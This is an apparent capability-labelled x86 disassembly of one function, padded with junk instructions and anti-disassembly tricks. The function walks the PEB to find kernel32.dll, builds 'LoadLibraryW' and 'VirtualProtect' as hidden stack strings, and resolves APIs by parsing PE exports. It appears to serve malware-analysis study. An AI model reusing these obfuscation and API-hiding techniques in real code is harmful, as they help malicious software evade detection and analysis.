Function at 0x4865ac
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
jmp 0x484be7
pop ecx
push ebx
push esi
add esp, 4
or ebx, 0x50a3
or ebx, 0xc9db
pop ebx
push edx
push edx
add esp, 4
sub edx, 0x28ad
sub edx, 0xf34
call 0x484c17
add byte [edi + 0x3b], cl
xor esi, dword [ecx + eax*2]
dec ebx
add esp, 4
xor edx, 0xd9dc
pop edx
push ecx
push edx
add esp, 4
jmp 0x484c2b
pop ecx
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1890], edx
mov eax, dword [ebp - 0x1890]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1894], ecx
mov edx, dword [ebp - 0x1894]
mov dword [ebp - 0x14d4], edx
push ecx
call 0x484c63
add byte [eax], bh
dec ebx
dec ebp
dec eax
dec esp
xor al, 0x3f
xor al, 0x83
les eax, [ecx + ebx*2]
push eax
xor eax, 0x15978
sub eax, 0xa2d9
call 0x484c82
add byte [esi + 0x32], cl
xor al, 0x42
dec esi
cmp ecx, dword ss:[ecx - 0x7d]
les eax, [eax + ebx*2]
cmp dword [ebp - 0x14d4], 0
jne 0x484c9e
mov dword [ebp - 0x2e0], 0
jmp 0x484f5a
mov eax, dword [ebp - 0x14d4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc20], edx
push ebx
sub ebx, 0xb4a0
pop ebx
push ebx
push edx
add esp, 4
and ebx, 0x10f5d
call 0x484cd2
add byte [ecx + 0x34], al
inc ecx
dec edx
dec ecx
push eax
aas
inc esp
add esp, 4
or ebx, 0xd00e
add ebx, 0x449e
pop ebx
cmp dword [ebp - 0xc20], 0
jne 0x484cfa
mov dword [ebp - 0x2e0], 0
jmp 0x484f5a
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x4d4], eax
push ebx
push edx
add esp, 4
jmp 0x484d14
jmp 0x484d1d
add ebx, 0x10d46
pop ebx
push esi
push ecx
add esp, 4
add esi, 0x15d2a
jmp 0x484d37
pop esi
lea ecx, [ebp - 0x1628]
mov dword [ebp - 0xc1c], ecx
mov edx, dword [ebp - 0x4d4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc18], eax
xor ecx, ecx
mov word [ebp - 0x1f8], cx
xor edx, edx
mov word [ebp - 0x100], dx
push ebx
add ebx, 0xfcdc
xor ebx, 0xa99d
xor ebx, 0x7985
pop ebx
push edi
push eax
add esp, 4
or edi, 0x1fb5
add edi, 0x11488
pop edi
push ecx
push esi
add esp, 4
sub ecx, 0xfde0
pop ecx
mov eax, dword [ebp - 0xc18]
mov cx, word [eax]
mov word [ebp - 0xf7e], cx
mov edx, dword [ebp - 0xc18]
add edx, 2
mov dword [ebp - 0xc18], edx
mov ax, word [ebp - 0xf7e]
mov word [ebp - 0x1f8], ax
mov ecx, dword [ebp - 0xc1c]
mov dx, word [ecx]
mov word [ebp - 0xf80], dx
mov eax, dword [ebp - 0xc1c]
add eax, 2
mov dword [ebp - 0xc1c], eax
mov cx, word [ebp - 0xf80]
mov word [ebp - 0x100], cx
push esi
add esi, 0x6080
pop esi
push eax
add eax, 0xedbe
pop eax
push esi
add esi, 0x160ee
pop esi
push edx
push edx
add esp, 4
and edx, 0xc3d1
xor edx, 0x3814
jmp 0x484e22
pop edx
movzx edx, word [ebp - 0x100]
test edx, edx
jne 0x484e46
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
sub eax, ecx
mov dword [ebp - 0x1498], eax
jmp 0x484ea9
movzx edx, word [ebp - 0x1f8]
movzx eax, word [ebp - 0x100]
cmp edx, eax
je 0x484d65
movzx ecx, word [ebp - 0x1f8]
xor ecx, 0x20
movzx edx, word [ebp - 0x100]
cmp ecx, edx
je 0x484d65
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
cmp eax, ecx
jge 0x484e93
mov dword [ebp - 0x14d8], 0xffffffff
jmp 0x484e9d
mov dword [ebp - 0x14d8], 1
mov edx, dword [ebp - 0x14d8]
mov dword [ebp - 0x1498], edx
cmp dword [ebp - 0x1498], 0
jne 0x484ef2
push ecx
xor ecx, 0x2144
pop ecx
push edi
push ecx
add esp, 4
xor edi, 0x8544
and edi, 0x166d6
xor edi, 0x13e31
pop edi
push eax
push ebx
add esp, 4
add eax, 0xe35d
and eax, 0xe87e
pop eax
mov eax, dword [ebp - 0x4d4]
mov dword [ebp - 0x2e0], eax
jmp 0x484f5a
push ecx
or ecx, 0x183d1
or ecx, 0x4165
sub ecx, 0x124ed
sub ecx, 0x17c59
pop ecx
push edx
push edi
add esp, 4
xor edx, 0x4a31
xor edx, 0x152c1
xor edx, 0x12fe0
pop edx
mov ecx, dword [ebp - 0x4d4]
mov edx, dword [ecx]
mov dword [ebp - 0x4d4], edx
mov eax, dword [ebp - 0x4d4]
cmp eax, dword [ebp - 0xc20]
je 0x484f50
mov ecx, dword [ebp - 0x4d4]
cmp dword [ecx + 0x30], 0
jne 0x484d06
mov dword [ebp - 0x2e0], 0
push ecx
push edi
add esp, 4
and ecx, 0x17b1f
or ecx, 0x10c1c
add ecx, 0x12de9
pop ecx
push ebx
push edi
add esp, 4
and ebx, 0x146ef
pop ebx
push ecx
or ecx, 0xaa94
add ecx, 0xe7d8
pop ecx
cmp dword [ebp - 0x2e0], 0
jne 0x4858a5
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push esi
push edi
add esp, 4
sub esi, 0x127b5
xor esi, 0x17eec
sub esi, 0xa103
pop esi
push edx
or edx, 0x1698e
or edx, 0x16055
or edx, 0x11d92
sub edx, 0xc28d
pop edx
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push edi
push eax
add esp, 4
and edi, 0x16436
pop edi
push edi
add edi, 0x10141
call 0x485106
add byte [ebx + 0x46], al
xor eax, dword [eax + 0x40]
inc ecx
cmp eax, dword [ebx - 0x107efb3c]
out 0x3a, eax
add dword [eax], eax
pop edi
push ecx
sub ecx, 0x9c5e
pop ecx
cmp dword [ebp - 0x14dc], 0
jne 0x485130
mov dword [ebp - 0x6ec], 0
jmp 0x4853ec
mov ecx, dword [ebp - 0x14dc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc2c], eax
push esi
call 0x48514f
add byte [esi], bh
inc ebx
inc edi
cmp eax, 0x4c4834d
pop esi
push eax
push edx
add esp, 4
jmp 0x48515e
and eax, 0xb806
sub eax, 0x6c1a
jmp 0x485173
pop eax
cmp dword [ebp - 0xc2c], 0
jne 0x48518c
mov dword [ebp - 0x6ec], 0
jmp 0x4853ec
mov ecx, dword [ebp - 0xc2c]
mov dword [ebp - 0x4d8], ecx
push esi
sub esi, 0x7a68
sub esi, 0x126a
pop esi
push edx
push ecx
add esp, 4
sub edx, 0x8ad3
or edx, 0xc2d2
sub edx, 0xcfc9
pop edx
push ecx
push ebx
add esp, 4
xor ecx, 0xa306
pop ecx
lea edx, [ebp - 0x16cc]
mov dword [ebp - 0xc28], edx
mov eax, dword [ebp - 0x4d8]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc24], ecx
xor edx, edx
mov word [ebp - 0x1fc], dx
xor eax, eax
mov word [ebp - 0x104], ax
push esi
push eax
add esp, 4
jmp 0x485204
sub esi, 0xf6a
jmp 0x485212
pop esi
push ebx
push ebx
add esp, 4
call 0x485225
add byte [ebx + 0x3b], cl
dec ecx
xor eax, 0x834c3644
les eax, [ebx + ebx*2]
mov ecx, dword [ebp - 0xc24]
mov dx, word [ecx]
mov word [ebp - 0xf82], dx
mov eax, dword [ebp - 0xc24]
add eax, 2
mov dword [ebp - 0xc24], eax
mov cx, word [ebp - 0xf82]
mov word [ebp - 0x1fc], cx
mov edx, dword [ebp - 0xc28]
mov ax, word [edx]
mov word [ebp - 0xf84], ax
mov ecx, dword [ebp - 0xc28]
add ecx, 2
mov dword [ebp - 0xc28], ecx
mov dx, word [ebp - 0xf84]
mov word [ebp - 0x104], dx
push esi
xor esi, 0xe111
call 0x48529a
add byte [eax + 0x4e], dl
push eax
cmp bh, byte [edx]
aaa
inc esp
cmp byte [ecx], bh
cmp eax, dword [ebx + 0x3eb04c4]
inc eax
xor esi, dword [ebx]
and esi, 0x1622d
pop esi
push ebx
push edx
add esp, 4
or ebx, 0xa03d
pop ebx
movzx eax, word [ebp - 0x104]
test eax, eax
jne 0x4852d8
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
sub ecx, edx
mov dword [ebp - 0x14e4], ecx
jmp 0x48533b
movzx eax, word [ebp - 0x1fc]
movzx ecx, word [ebp - 0x104]
cmp eax, ecx
je 0x4851f7
movzx edx, word [ebp - 0x1fc]
xor edx, 0x20
movzx eax, word [ebp - 0x104]
cmp edx, eax
je 0x4851f7
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
cmp ecx, edx
jge 0x485325
mov dword [ebp - 0x14e0], 0xffffffff
jmp 0x48532f
mov dword [ebp - 0x14e0], 1
mov eax, dword [ebp - 0x14e0]
mov dword [ebp - 0x14e4], eax
cmp dword [ebp - 0x14e4], 0
jne 0x485384
push ecx
push esi
add esp, 4
jmp 0x485350
pop ecx
push ebx
and ebx, 0xe63
xor ebx, 0x4634
pop ebx
push edx
or edx, 0xeddf
pop edx
push edx
jmp 0x48536f
add edx, 0xe952
pop edx
mov ecx, dword [ebp - 0x4d8]
mov dword [ebp - 0x6ec], ecx
jmp 0x4853ec
push edi
and edi, 0xebc7
pop edi
push ecx
push edi
add esp, 4
sub ecx, 0x17171
call 0x4853a6
add byte [ebp + 0x43], cl
cmp al, 0x47
inc ebp
aas
dec esi
inc ebp
dec ecx
add esp, 4
pop ecx
push edi
push ecx
add esp, 4
sub edi, 0x4656
pop edi
mov edx, dword [ebp - 0x4d8]
mov eax, dword [edx]
mov dword [ebp - 0x4d8], eax
mov ecx, dword [ebp - 0x4d8]
cmp ecx, dword [ebp - 0xc2c]
je 0x4853e2
mov edx, dword [ebp - 0x4d8]
cmp dword [edx + 0x30], 0
jne 0x485198
mov dword [ebp - 0x6ec], 0
push ecx
push ebx
add esp, 4
xor ecx, 0x1308c
and ecx, 0xabd2
or ecx, 0x157d1
xor ecx, 0x13d73
pop ecx
push edx
add edx, 0x16d7c
add edx, 0x3295
and edx, 0xdd38
pop edx
cmp dword [ebp - 0x6ec], 0
jne 0x485468
push ecx
push edi
add esp, 4
add ecx, 0x6694
pop ecx
push edi
call 0x485443
add byte [0x354d3d35], bh
inc edx
inc ecx
dec eax
add esp, 4
and edi, 0x12f6
add edi, 0xae55
add edi, 0x152f
pop edi
mov dword [ebp - 0x738], 0
jmp 0x485f8f
push ebx
jmp 0x485470
pop ebx
push edx
push ebx
add esp, 4
or edx, 0x8389
pop edx
push eax
push esi
add esp, 4
add eax, 0x9b13
call 0x485496
add byte [esi + 0x36], cl
xor eax, 0x32423444
cmp eax, dword [ebx - 0x74a7fb3c]
test dword [ecx + edi*8], edx
invalid
push edi
or edi, 0x8a79
xor edi, 0x9839
or edi, 0x19b9
xor edi, 0xba8f
pop edi
push edi
push ebx
add esp, 4
and edi, 0x109b0
jmp 0x4858d0
and edi, 0x11cda
pop edi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x18b8], eax
mov ecx, dword [ebp - 0x18b8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18bc], edx
mov eax, dword [ebp - 0x18bc]
mov dword [ebp - 0x14f4], eax
push esi
or esi, 0xc9b1
xor esi, 0x39b6
pop esi
push edi
push edx
add esp, 4
sub edi, 0x17596
or edi, 0x12c3d
xor edi, 0x8056
pop edi
push ecx
push ebx
add esp, 4
add ecx, 0x15e65
pop ecx
cmp dword [ebp - 0x14f4], 0
jne 0x485948
mov dword [ebp - 0x2e0], 0
jmp 0x485bef
mov ecx, dword [ebp - 0x14f4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc3c], eax
push esi
push edx
add esp, 4
xor esi, 0x7627
pop esi
push edi
jmp 0x48596c
sub edi, 0x55d4
jmp 0x485977
pop edi
push ebx
add ebx, 0xb356
and ebx, 0x1018a
or ebx, 0x12498
pop ebx
cmp dword [ebp - 0xc3c], 0
jne 0x4859a4
mov dword [ebp - 0x2e0], 0
jmp 0x485bef
mov ecx, dword [ebp - 0xc3c]
mov dword [ebp - 0x4dc], ecx
push ebx
and ebx, 0x7e09
add ebx, 0x13853
call 0x4859ca
add byte [esi], bh
dec edx
cmp esi, dword [edx]
cmp cl, byte [ecx + 0x37]
add esp, 4
pop ebx
push edx
sub edx, 0x3a6f
pop edx
push edx
push esi
add esp, 4
xor edx, 0x13cb9
pop edx
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc38], edx
mov eax, dword [ebp - 0x4dc]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc34], ecx
xor edx, edx
mov word [ebp - 0x200], dx
xor eax, eax
mov word [ebp - 0x34], ax
push esi
push ebx
add esp, 4
call 0x485a21
add byte [edx + 0x38], cl
xor eax, 0x3c344c3b
xor ecx, dword [ecx + 0x50]
add esp, 4
jmp 0x485a2b
pop esi
push eax
push edi
add esp, 4
add eax, 0xccec
add eax, 0x4a53
pop eax
mov ecx, dword [ebp - 0xc34]
mov dx, word [ecx]
mov word [ebp - 0xf86], dx
mov eax, dword [ebp - 0xc34]
add eax, 2
mov dword [ebp - 0xc34], eax
mov cx, word [ebp - 0xf86]
mov word [ebp - 0x200], cx
mov edx, dword [ebp - 0xc38]
mov ax, word [edx]
mov word [ebp - 0xf88], ax
mov ecx, dword [ebp - 0xc38]
add ecx, 2
mov dword [ebp - 0xc38], ecx
mov dx, word [ebp - 0xf88]
mov word [ebp - 0x34], dx
push esi
push esi
add esp, 4
xor esi, 0xabd9
sub esi, 0x16b73
call 0x485ab5
add byte [ebp + 0x4b], al
xor eax, 0x503b3843
cmp eax, 0x4c4833b
pop esi
push eax
and eax, 0x6e43
sub eax, 0xfda1
pop eax
movzx eax, word [ebp - 0x34]
test eax, eax
jne 0x485ae4
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
sub ecx, edx
mov dword [ebp - 0x14fc], ecx
jmp 0x485b3e
movzx eax, word [ebp - 0x200]
movzx ecx, word [ebp - 0x34]
cmp eax, ecx
je 0x485a0c
movzx edx, word [ebp - 0x200]
xor edx, 0x20
movzx eax, word [ebp - 0x34]
cmp edx, eax
je 0x485a0c
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
cmp ecx, edx
jge 0x485b28
mov dword [ebp - 0x14f8], 0xffffffff
jmp 0x485b32
mov dword [ebp - 0x14f8], 1
mov eax, dword [ebp - 0x14f8]
mov dword [ebp - 0x14fc], eax
cmp dword [ebp - 0x14fc], 0
jne 0x485b87
push edi
add edi, 0xf64
jmp 0x485b57
xor edi, 0x15579
xor edi, 0x1758
pop edi
push eax
jmp 0x485b6c
or eax, 0xbda0
xor eax, 0x11130
pop eax
mov ecx, dword [ebp - 0x4dc]
mov dword [ebp - 0x2e0], ecx
jmp 0x485bef
push ecx
push ecx
add esp, 4
add ecx, 0x12d4c
xor ecx, 0x6a51
and ecx, 0x3cd8
pop ecx
push ecx
and ecx, 0x152d9
or ecx, 0xa197
or ecx, 0x7530
and ecx, 0x17c2
pop ecx
mov edx, dword [ebp - 0x4dc]
mov eax, dword [edx]
mov dword [ebp - 0x4dc], eax
mov ecx, dword [ebp - 0x4dc]
cmp ecx, dword [ebp - 0xc3c]
je 0x485be5
mov edx, dword [ebp - 0x4dc]
cmp dword [edx + 0x30], 0
jne 0x4859b0
mov dword [ebp - 0x2e0], 0
push esi
xor esi, 0xa0df
and esi, 0x7585
jmp 0x485c01
xor esi, 0xe386
pop esi
push ebx
push edi
add esp, 4
or ebx, 0x16cb2
jmp 0x485c1b
jmp 0x485c20
pop ebx
mov eax, dword [ebp - 0x2e0]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2fc], ecx
push edi
and edi, 0x83c6
pop edi
push eax
xor eax, 0x16792
or eax, 0x1805a
add eax, 0x10a61
pop eax
push ecx
add ecx, 0x2076
jmp 0x485c5b
sub ecx, 0x99b
pop ecx
mov dword [ebp - 0x70c], 0
mov edx, dword [ebp - 0x2fc]
mov dword [ebp - 0x1500], edx
cmp dword [ebp - 0x1500], 0
jne 0x485c92
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x485f83
mov ecx, dword [ebp - 0x1500]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1504], edx
jne 0x485cba
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x485f83
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x1504]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1508], ecx
cmp dword [ebp - 0x1508], 0
jne 0x485cec
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
jmp 0x485f83
mov eax, dword [ebp - 0x2fc]
add eax, dword [ebp - 0x1508]
mov dword [ebp - 0x700], eax
jne 0x485d11
mov ecx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], ecx
jmp 0x485f83
mov edx, dword [ebp - 0x700]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18c0], eax
mov ecx, dword [ebp - 0x700]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18c4], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18c8], ecx
mov dword [ebp - 0x704], 0
jmp 0x485d6b
mov edx, dword [ebp - 0x704]
add edx, 1
mov dword [ebp - 0x704], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x704]
cmp ecx, dword [eax + 0x18]
jae 0x485f77
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c0]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x708], ecx
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18c8]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18cc], eax
mov dword [ebp - 0x184], 0
jmp 0x485ddb
mov ecx, dword [ebp - 0x184]
add ecx, 1
mov dword [ebp - 0x184], ecx
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
test eax, eax
je 0x485e8d
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
test edx, edx
je 0x485e8d
push ebx
or ebx, 0xb890
add ebx, 0x6686
xor ebx, 0x46d8
pop ebx
push ebx
push esi
add esp, 4
call 0x485e30
add byte [ecx*2 + 0x50494634], bh
cmp al, 0x46
aas
add esp, 4
and ebx, 0xb53a
pop ebx
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
cmp ecx, eax
je 0x485e7f
mov ecx, dword [ebp - 0x708]
add ecx, dword [ebp - 0x184]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x184]
movsx ecx, byte [ebp + eax - 0x804]
cmp edx, ecx
jne 0x485e86
jmp 0x485dcc
jmp 0x485e8d
push edi
or edi, 0x13ef5
and edi, 0x10a08
add edi, 0xb426
pop edi
push esi
push edx
add esp, 4
and esi, 0x4258
add esi, 0xba9e
or esi, 0xc8c6
xor esi, 0xc9c8
pop esi
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
cmp eax, edx
jne 0x485eec
mov dword [ebp - 0xc40], 0
jmp 0x485f5b
push esi
push esi
add esp, 4
add esi, 0x181c6
or esi, 0x45e7
pop esi
push ecx
xor ecx, 0x16d77
xor ecx, 0x14ad1
pop ecx
push edx
push ebx
add esp, 4
sub edx, 0x1f45
add edx, 0x16f9c
pop edx
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
or eax, 0x20
cmp ecx, eax
jge 0x485f51
mov dword [ebp - 0xc40], 0xffffffff
jmp 0x485f5b
mov dword [ebp - 0xc40], 1
cmp dword [ebp - 0xc40], 0
jne 0x485f72
mov ecx, dword [ebp - 0x18cc]
mov dword [ebp - 0x4e0], ecx
jmp 0x485f83
jmp 0x485d5c
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
mov eax, dword [ebp - 0x4e0]
mov dword [ebp - 0x738], eax
push edi
jmp 0x485f95
add edi, 0x13489
xor edi, 0x39c8
pop edi
push ebx
push ebx
add esp, 4
jmp 0x485fae
sub ebx, 0x13d1b
or ebx, 0x1466d
xor ebx, 0x11245
pop ebx
mov ecx, dword [ebp - 0x3cc]
add ecx, 0xe
mov dword [ebp - 0x1918], ecx
push ecx
push edx
add esp, 4
sub ecx, 0x7fae
and ecx, 0x10817
sub ecx, 0x145ab
pop ecx
push ecx
and ecx, 0xc1ff
or ecx, 0x122bf
sub ecx, 0x63e5
add ecx, 0x333c
pop ecx
cmp dword [ebp - 0x3cc], 0
je 0x486014
cmp dword [ebp - 0xa5c], 0
jne 0x48605a
push edi
and edi, 0x15c5d
or edi, 0x18043
call 0x48602e
add byte [0x43494345], bh
dec ebx
xor eax, dword [ebx + 0x575f04c4]
add edi, 0x5a4a
sub edi, 0xa01a
add edi, 0x7374
pop edi
mov edx, dword [ebp - 0x738]
mov dword [ebp - 0x18d0], edx
push 0
call dword [ebp - 0x18d0]
mov dword [ebp - 0x1fb0], 0xa
push ecx
push edi
add esp, 4
or ecx, 0x13a0e
xor ecx, 0x17473
pop ecx
push edi
push eax
add esp, 4
or edi, 0x12280
jmp 0x486089
pop edi
push edi
push esi
add esp, 4
add edi, 0x1040c
pop edi
mov eax, dword [ebp - 0x3cc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x381], cl
mov edx, dword [ebp - 0xa5c]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158c], edx
mov dword [ebp - 0xc70], 0
push ebx
push esi
add esp, 4
or ebx, 0x17605
and ebx, 0xbdad
pop ebx
push ebx
push edi
add esp, 4
sub ebx, 0x877a
pop ebx
push edx
add edx, 0x11216
add edx, 0x96d9
add edx, 0x3d27
pop edx
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push ecx
and ecx, 0x602a
call 0x486172
add byte [ebx], bh
xor ecx, dword [ecx + 0x37]
inc ebp
aas
inc ecx
cmp byte [edx - 0x7d], al
les eax, [ecx + eax*4]
int1
push esi
push ecx
add dword [eax], eax
add ecx, 0x11996
pop ecx
push edi
push eax
add esp, 4
sub edi, 0xb31c
pop edi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push ecx
xor ecx, 0x16830
add ecx, 0x1041e
sub ecx, 0xa6f3
call 0x4861d7
add byte [ebp + 0x39], cl
inc esp
cmp al, 0x45
inc edi
dec edx
cmp eax, 0x4c48347
pop ecx
push eax
push eax
add esp, 4
add eax, 0x11825
pop eax
cmp dword [ebp - 0x150c], 0
jne 0x4861ff
mov dword [ebp - 0x2a8], 0
jmp 0x4864a6
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push edx
push edx
add esp, 4
add edx, 0x5d7e
pop edx
push ebx
sub ebx, 0x9935
pop ebx
push esi
sub esi, 0x17c11
call 0x486239
add byte [ebx + 0x39], cl
cmp dword ss:[0xc4833740], esi
add al, 0x81
into
ror dword [ebp - 0x7ca20000], cl
mov ebp, 0xfffff3b4
add byte [ebp + 0xf], dh
mov dword [ebp - 0x2a8], 0
jmp 0x4864a6
push ebx
call 0x4864b4
add byte [edi + 0x40], al
aas
dec edx
inc ebp
dec ecx
add esp, 4
jmp 0x4864c0
xor ebx, 0x3106
xor ebx, 0x1172
pop ebx
push ebx
jmp 0x4864d7
pop ebx
cmp dword [ebp - 0x2a8], 0
jne 0x486ddd
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push edx
push ebx
add esp, 4
or edx, 0x169f3
call 0x486595
add byte [ebp + 0x36], cl
xor bh, byte [edi]
dec ebp
push eax
add esp, 4
sub edx, 0xbbc4
call 0x4865ac
add byte [edx + ecx*2], bh
dec eax
cmp eax, 0x50494c4a
add esp, 4
pop edx
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push edi
push edx
add esp, 4
jmp 0x48663f
pop edi
push esi
push ebx
add esp, 4
sub esi, 0x866e
call 0x48665b
add byte [edx], bh
cmp esi, dword [esi]
xor esi, dword ss:[edi]
dec ecx
cmp esi, dword [0x4c48350]
xor esi, 0x1fa
pop esi
cmp dword [ebp - 0x1518], 0
jne 0x48667d
mov dword [ebp - 0x710], 0
jmp 0x486924
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push eax
jmp 0x486695
xor eax, 0x17df9
and eax, 0x4ee
call 0x4866ad
add byte [0x383e3748], dh
dec ebp
add esp, 4
pop eax
push eax
jmp 0x4866ba
and eax, 0xf9ad
pop eax
cmp dword [ebp - 0xc58], 0
jne 0x4866d9
mov dword [ebp - 0x710], 0
jmp 0x486924
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push ecx
push ebx
add esp, 4
xor ecx, 0x2d63
xor ecx, 0x385a
or ecx, 0x13116
add ecx, 0x16687
pop ecx
push esi
xor esi, 0xd4ab
pop esi
push ebx
push eax
add esp, 4
or ebx, 0x6678
pop ebx
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
